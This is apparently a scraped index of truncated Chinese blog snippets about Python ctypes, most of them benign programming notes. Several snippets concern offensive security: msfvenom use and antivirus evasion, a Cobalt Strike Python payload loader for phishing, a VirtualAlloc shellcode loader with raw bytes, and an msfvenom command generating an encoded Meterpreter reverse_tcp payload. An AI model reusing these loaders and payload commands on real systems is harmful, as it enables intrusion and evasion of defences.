问题复现:编译安装Python3.7版本,在make install的时候,出现报错zipimport.ZipImportError: can't decompress data; zlib not available
make: *** [install] Error 1解决方案:yum install zlib*问题复现2File "/tmp/tmpnfe1bbxk/pip-9.0.3-py2.py3-none-any.whl/pip/__ini
Python 官网2021-04-12 14:30:59
重点
本文开篇即重点,那就是python官网 https://docs.python.org/zh-cn/3/
说点闲话,断断续续会写一点python代码,没有从基础学,遇到问题直接度娘,最近在做使用python调用C/C++库,使用ctypes,自己想实现几个目标demo,但一直很慢,找了很多资料,发现效果都不佳。直到招到了这一篇: https:/
python gotoxy2021-04-11 16:05:05
import ctypes
import os
STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11
STD_ERROR_HANDLE = -12
os.system('cls')
class COORD(ctypes.Structure):
_fields_ = [("X", ctypes.c_short), ("Y", ctypes.c_short)]
def __init__(s
Python修改内存(扫雷)2021-04-04 20:00:14
之前写的基于内存修改的扫雷程序,现在分享一下,有疑问可以互相交流,代码注释也很清晰
由于win10没有扫雷,先要下载安装扫雷,winmine.exe,可以在网上搜
打开运行扫雷后,再运行python程序就可以自动扫雷了
# 一键扫雷
import win32gui
import win32process
import win32api
import ctypes
Python ctypes 用法集锦2021-03-31 20:33:50
收集关于ctypes日常使用过程中的用法记录
list转换成ctypes里面的数组
In [1]: from ctypes import *
In [2]: ls = [1,2,3,4,5]
In [3]: array = (c_int*len(ls))(*ls)
In [4]: array
Out[4]: <__main__.c_long_array_5 at>
In [5]: for i in array: print
背景在安装Python3的时后,报错:ModuleNotFoundError: No module named '_ctypes'。网上搜了一下,原因是缺乏libffi这个库。libffi简介官网:http://sourceware.org/libffi/简介:the default, most-widely used implementation of the Python programming language uses libffi in the s
msfvenom的使用与免杀2021-03-13 15:34:17
msfvenom的基本使用
这玩意是啥我就不介绍了,懂得都懂. 这篇博客将结合我本人的自身经验来说明大致的使用方式,这里的话只介绍,目前比较常用的几个方法和参数.
payload 查看与使用
payload你可以理解为就是一种攻击的方案,生成何种攻击方式,对那种平台进行攻击 使用参数 -p来
https://www.bilibili.com/video/BV1P64y1f7e1?p=6
Cobalt Strike Web Drive-By web钓鱼攻击
在这里补充一个上节课的新的知识点,如何使用python语言的payload 加载器去攻击
# length: 894 bytes
from ctypes import *
import ctypes
buf = "" #这里填写payload
PROT_READ = 1
PROT
https://www.bilibili.com/video/BV1P64y1f7e1?p=6
Cobalt Strike Web Drive-By web钓鱼攻击
在这里补充一个上节课的新的知识点,如何使用python语言的payload 加载器去攻击
# length: 894 bytes
from ctypes import *
import ctypes
buf = "" #这里填写payload
PROT_READ = 1
在python中启动和关闭线程:
一、启动线程
首先导入threading
import threading
然后定义一个方法
def serial_read():
...
...
然后定义线程,target指向要执行的方法
myThread = threading.Thread(target=serial_read)
启动它
myThread.start()
二、停止线程
Python调用*.dll,向*.dll传入基本数据类型
【3】python调用*.dll——C中基本数据类型与python中的对应关系中前五个数据类型char、short、int、long、unsigned long可以直接传入,无需使用ctypes中对应数据类型进行包装,只要注意各种数据类型的数值范围即可,float、double则必须使
楔子 我们知道python的执行效率不是很高,而且由于GIL的原因,导致python不能充分利用多核CPU。一般的解决方式是使用多进程,但是多进程开销比较大,而且进程之间的通信也会比较麻烦。因此在解决效率问题上,我们会把那些比较耗时的模块使用C或者C++编写,然后编译成动态链接库,Windows上
总结一下python学习工程中踩过的坑(AttributeError: module 'ctypes' has no attribute 'CDLL')
最近在学习python&C/C++混合编程时,需要用到ctypes标准库,在跟着课程走时,没注意导致了入坑:
程序运行报错问题
乍眼一看,是ctypes库的问题,经过各种搜索安装,也没能解
Python脚本秒换壁纸2020-12-27 23:02:25
需求
win10壁纸太丑,自己的壁纸切换又麻烦,就写个脚本放桌面一键切换
功能
读取壁纸文件夹,随机选取壁纸,更换壁纸
代码
需要先安装ctypes库
pip install ctypes
import random
import ctypes
import time
import os
path = r"C:\Users\THINKPAD\Desktop\壁纸合集" # 记得更换
一开始想采用PyAutoGUI,然后GTA并不支持,遂采用DirectX的输入模式
这部分的代码看不太懂了,我就Github上搜了一下代码,然后调整了一下。
Kyes.py文件
键盘映射,主要是把键位映射为DirectX能读的形式(16进制的一串字符),定义如下
class Key_Mapping:
num1 = 0x02
num2 = 0x03
更多python教程请到: 菜鸟教程www.piaodoo.com 人人影视www.sfkyty.com 16影视www.591319.com 星辰影院www.591319.com
楔子
我们知道python的执行效率不是很高,而且由于GIL的原因,导致python不能充分利用多核CPU。一般的解决方式是使用多进程,但是多进程开销比较大,而且进程之间的
shellcode加载器编写2020-11-25 10:03:10
Python3 shellcode通用加载器
#!/usr/bin/python3
import ctypes
#shellcode 放这个位置
c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
shellcode = bytearray(c)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
什么是Numpy的ndarray2020-10-02 22:03:13
首先,Numpy的核心是ndarray。
然后,ndarray本质是数组,其不同于一般的数组,或者Python 的list的地方在于它可以有N 维(dimentions),也可简单理解为数组里面嵌套数组。
最后,Numpy为ndarray提供了便利的操作函数,而且性能优越,完爆Python 的list,因此在数值计算,机器学习,人工智能,神经网络等领
ubuntu下将c++转换为so文件并利用python调用
#转载自:https://www.it610.com/article/1295144844422881280.htm
python调用.so
LINUX下C++生成.so文件及编译生成可执行文件的过程
[linux][原创]C++ so库的编译python调用
python 打包成 so | python 调用cpp | python 调用C
ctypes使用2020-07-23 16:32:54
ctypes是python的兼容库, 提供c的数据类型兼容,可方便调用c动态库接口c动态库在linux下为so,windows下为dll
ctypes模块中有三种不同的动态链接库加载方式:cdll, windll, oledll。不同之处在于链接库中的函数所遵从的函数调用方式(calling convention)以及返回方式有所不同。 cdl
ModuleNotFoundError: No module named '_ctypes'的解决方案
1 前言
在腾讯云上pip install sklearn时报这个错误,如下:
File "/usr/local/python3/lib/python3.7/ctypes/__init__.py", line 7, in
from _ctypes import Union, Structure, Array
ModuleN
楔子
我们知道python的执行效率不是很高,而且由于GIL的原因,导致python不能充分利用多核CPU。一般的解决方式是使用多进程,但是多进程开销比较大,而且进程之间的通信也会比较麻烦。因此在解决效率问题上,我们会把那些比较耗时的模块使用C或者C++编写,然后编译成动态链接库,Windows上面是d
ctypes获取扩展模块中函数的返回值2020-01-29 15:00:09
ctypes获取返回值
我们前面已经看到了,通过ctypes像扩展模块中的函数传参时是没有问题的,但是我们如何拿到返回值呢?我们之前都是使用printf直接打印的,但是这样显然不行,我们肯定是要拿到返回值去做一些别的事情的。那么我们看看如何使用ctypes获取函数的返回值。
获取整型返回值
int
根据上一篇 使用使用Python学习win32库进行内存读写 中,使用Python win32库,对一款游戏进行了读内存 操作。
今天来写一下对内存进行写的操作
正文
要进行32位的读写,首先了解一下要用到的几个函数,通过百度找到的,大多都是C/C++的资料。
更详细的分析看上一篇。
写入函数 是
payload分离免杀2020-01-08 17:04:22
shellcode loader
借助第三方加载器,将shellcode加载到内存中来执行。
https://github.com/clinicallyinane/shellcode_launcher
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
靶机执行
shellcode